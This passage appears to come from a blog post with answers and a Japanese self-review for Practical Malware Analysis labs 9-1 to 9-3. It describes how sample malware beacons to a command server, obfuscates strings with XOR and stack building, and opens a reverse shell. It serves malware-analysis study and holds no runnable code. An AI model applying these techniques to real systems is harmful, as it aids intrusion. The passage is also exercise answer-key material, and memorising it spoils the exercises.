5. The malware can be instructed to execute one of five commands via the network: SLEEP, UPLOAD, DOWNLOAD, CMD or NOTHING. The SLEEP command instructs the malware to perform no action for a given period of time. The UPLOAD command reads the file from the network and writes it to the local system at a specified path. The DOWNLOAD command instructs the malware to send the contents of a local file over the network to the remote host. The CMD command causes the malware to execute a shell command on the local system. The NOTHING command is a no-op command that causes the malware to do nothing.

6. By default, the malware beacons to http://www.practicalmalwareanalysis.com/; however, this is configurable. The beacons are HTTP/1.0 GET requests for resources in the form xxxx/xxxx.xxx, where x is a random alphanumeric ASCII character. The malware does not provide any HTTP headers with its request.

Lab 9-2
1. The imports and the string cmd are the only interesting strings that appear statically in the binary.

2. It terminates without doing much.

3. Rename the file ocl.exe before you run it.

4. A string is being built on the stack, which is used by attackers to obfuscate strings from simple strings utilities and basic static analysis techniques.

5. The string 1qaz2ws3edc and the pointer to a buffer of data are passed to subroutine 0x401089.

6. The malware uses the domain practicalmalwareanalysis.com.

7. The malware XOR the encoded DNS name with the string 1qaz2ws3edc to decode the domain name.

8. The malware is setting the stdout, stderr, and stdin handles (used in the STARTUPINFO structure of CreateProcessA) to the socket. Since CreateProcessA is called with cmd as an argument, this will create a reverse shell by tying the command shell to the socket.

Lab 9-3
1. The import table contains kernel32.dll, NetAPI32.dll, DLL1.dll, and DLL2.dll. The malware dynamically loads the user32.dll and DLL3.dll.

2. All three DLLs request the same base address 0x10000000.

3. DLL1.dll is loaded at 0x10000000, DLL2.dll is loaded at 0x320000, and DLL3.dll is loaded at 0x380000 (this might be slightly different on your machine).

4. DLL1Prints is called and it prints "DLL 1 mystery data," followed by the contents of a global variable.

5. DLL2ReturnJ returns a filename of temp.txt which is passed to the call to WriteFile.

6. Lab09-03.exe gets the buffer for the call to NetScheduleJobAdd from DLL3GetStructure, which it dynamically resolves.

7. Mystery data 1 is the current process identifier, mystery data 2 is the handle to the open temp.txt file, and mystery data 3 is the location in memory of the string ping www.malwareanlaysisbook.com.

8. Select Manual Load when loading the DLL with IDA Pro, and then type the new image base address when prompted. In this case, the address is 0x320000.

答え合わせ

Lab 9-1

問2の-ccオプションについて、「サブルーチン 0x402E7Eにて、HKLM\SOFTWARE\Microsoft \XPS\Configurationから読み出した値をk:%s h:%s p:%s per:%s\nという文字列と連結すると思われる。サブルーチン 0x402E7Eは内部で複数の煩雑なサブルーチンを呼び出しており、連結した文字列をどうするのかは分からなかった。」と解答したが、模範解答によると連結した文字列は標準出力に出力されるとのことだった。また、解析にあたり手動でマルウェアのレジストリキー HKLM\SOFTWARE\Microsoft \XPS\Configurationを作成したが、模範解答によると値のタイプはREG_SZではなくREG_BINARYだった。

Lab 9-3

問1について補足すると、Lab09-03.exeは実行時にDLL3.dllのほかにuser32.dllも動的にロードする。
問8について、IDAでファイルをロードする際にManual loadというチェックボックスにチェックを入れるとbase addressを指定してファイルをロードすることが出来る。

Leave a Reply

Your email address will not be published. Required fields are marked *